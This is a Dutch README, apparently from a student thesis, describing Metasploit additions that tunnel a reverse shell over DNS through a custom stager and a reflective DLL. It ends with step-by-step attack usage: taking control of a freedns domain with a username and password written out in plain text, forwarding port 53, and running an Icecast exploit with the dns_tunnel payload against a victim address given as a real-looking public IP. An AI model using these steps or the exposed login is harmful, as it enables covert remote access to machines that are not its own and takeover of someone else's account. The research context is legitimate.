Analyse van DNS-tunnelingtechnieken

Bespreking broncode

Onderdelen

De code bestaat uit twee delen:

- Aanpassingen in metasploit. Hier zijn de DNS-server, de DNS-handler en de DNS-stager de belangrijkste componenten. (map **framework3**)
- De DLL-stager onder de vorm van een reflective DLL. (map **ReflectiveDllInjection**)

Een overzicht van de toegevoegde code in metasploit:

`lib/rex/proto/dns.rb`
`lib/rex/proto/dns/constants.rb`
`lib/rex/proto/dns/handler.rb`
`lib/rex/proto/dns/packet.rb`
`lib/rex/proto/dns/response.rb`
`lib/rex/proto/dns/server.rb`
	De DNS-server die wordt gebruikt in de finale versie van de implementatie, samen met alle ondersteunende bestanden.

`modules/payloads/stagers /windows/dns_tunnel.rb`	De stager. Bevat de shellcode van de DNS-stager.
`lib/msf/core/handler/dns_tunnel.rb`	De handler. Verantwoordelijk voor het opstarten van de DNS-server en het opzetten van de stream abstraction laag.
`modules/auxiliary/server/fakedns.rb`	De stand-alone DNS-server die werd gebruikt tijdens de eerste fasen van de ontwikkeling (wordt niet gebruikt in de finale versie). Deze server kan onafhankelijk van een specifieke aanval opgestart worden (en heeft dus geen handler nodig) wat testen erg vereenvoudigt.
`external/source/shellcode/windows /x86/src/block/block_dns_tunnel.asm`	De shellcode voor de DNS-stager, gebaseerd op de shellcode van Ron Bowes en uitgebreid met ondersteuning voor NetBIOS-codering.
`external/source/shellcode/windows /x86/src/stager/stager_dns_tunnel.asm`	Voegt api_call toe en zorgt ervoor dat de TCP-socket in EDI terecht zal komen. Hierdoor kunnen we in de de DLL-stager EDI doen wijzen naar 1 kant van de TCP-abstractielaag (pointer naar socket). In de DLL-stager gebeurt dit in `SecondStageThreadFuncSt()`.
`data/dnstunnel/DnsTunnelDLL.dll`	De gecompileerde versie van de reflective DLL-stager. Deze wordt door de handler gelezen en doorgestuurd naar de DNS-stager.

`data/dnstunnel/calc.bin`	Testpayload die calc.exe opstart. Deze werd gebruikt voor het testen van `fakedns.rb`.

Reflective DLL

Gebaseerd op de reflective DLL code uit:

http://blog.harmonysecurity.com/2008/10/new-paper-reflective-dll-injection.html (document toegevoegd in de map ReflectiveDllInjection).

Het eigen project is te vinden onder `ReflectiveDllInjection/workspace/ReflectiveDll.vcproj.`

Een overzicht van de verschillende bestanden:

`dnsTunnelDLL/abstraction.c`	Bevat de TCP abstractielaag en alle methoden om de DNS-tunnel op te starten. (server - en clientkant van de abstractielaag, threads voor de stage, pollingmethoden, ...). Abstractielaag geïnspireerd op PassiveX zoals vermeld in thesisboek.
`dnsTunnelDLL/DNSResolver.c`	Functionaliteit voor het versturen en ontvangen van DNS-queries. Gebruikt momenteel 8.8.8.8 (Google DNS). Om de aanval lokaal uit te voeren kan dit IP-adres aangepast worden naar dat van een lokale DNS-server. (de computer waar metasploit op draait).
`dnsTunnelDLL/queryops.c`	Bevat alle functionaliteit om de DNS-queries te encoderen, decoderen en aan te maken.
`dnsTunnelDLL/ReflectiveDll.c`	Entrypoint voor de reflective DLL. Init wordt na injectie opgeroepen.
`dnsTunnelDLL/ReflectiveLoader.c`	De code die de stappen op p 58 van het thesisboek implementeert. Aan deze code werd enkel lijn 313 toegevoegd die het mogelijk maakt om de reflective DLL te testen via het InjectTest project. (buiten metasploit)
`InjectTest/InjectTest.cpp`	Testproject om de reflective DLL te testen buiten metasploit.

Gebruik

Om een aanval uit te voeren met de huidige code dienen volgende stappen gevolgd te worden (we gaan er vanuit dat de aanval via het publieke internet gebeurt waarbij we bevoegd moeten zijn voor een bepaald domein):

1. De huidige versie van de code gebruikt het domein azertontunnel.chickenkiller.com voor het tunnelen van verkeer. Om beheerder te worden van dit domein surft u naar http://freedns.afraid.org/ en log je in met de volgende gegevens: "azerton" / "thesisdaan".
2. Onder de optie "subdomains" moet de volgende regel aangepast worden. De derde cel (azerton.dyndns.org) moet worden aangepast naar een domeinnaam die resolved naar de machine waar metasploit op draait. Hier kan ook een vast IP-adres ingevuld worden (en NS veranderen naar A).

azertontunnel.chickenkiller.com	NS	azerton.dyndns.org

3. Indien de aanvalscomputer zich bevindt achter een router moet in de NAT-instellingen van de router poort 53 (UDP) worden geforward naar de computer waar metasploit op draait.
4. In metasploit kan de aanval worden gestart via msfcli of via de interactieve msfconsole.

msfcli:

```
sudo ./msfcli <naam exploit> PAYLOAD=windows/shell/dns_tunnel
RHOST=<IP adres slachtoffer> E
```

Bijvoorbeeld:

```
sudo ./msfcli exploit/windows/http/icecast_header
PAYLOAD=windows/shell/dns_tunnel RHOST=83.134.145.226 E
```

msfconsole:

```
sudo ./msfconsole
use <exploit naam>
set payload windows/shell/dns_tunnel
set RHOST <IP-adres slachtoffer>
exploit
```

Voorbeeld uitvoer is terug te vinden op `http://pastebin.com/1PQD6f1D`.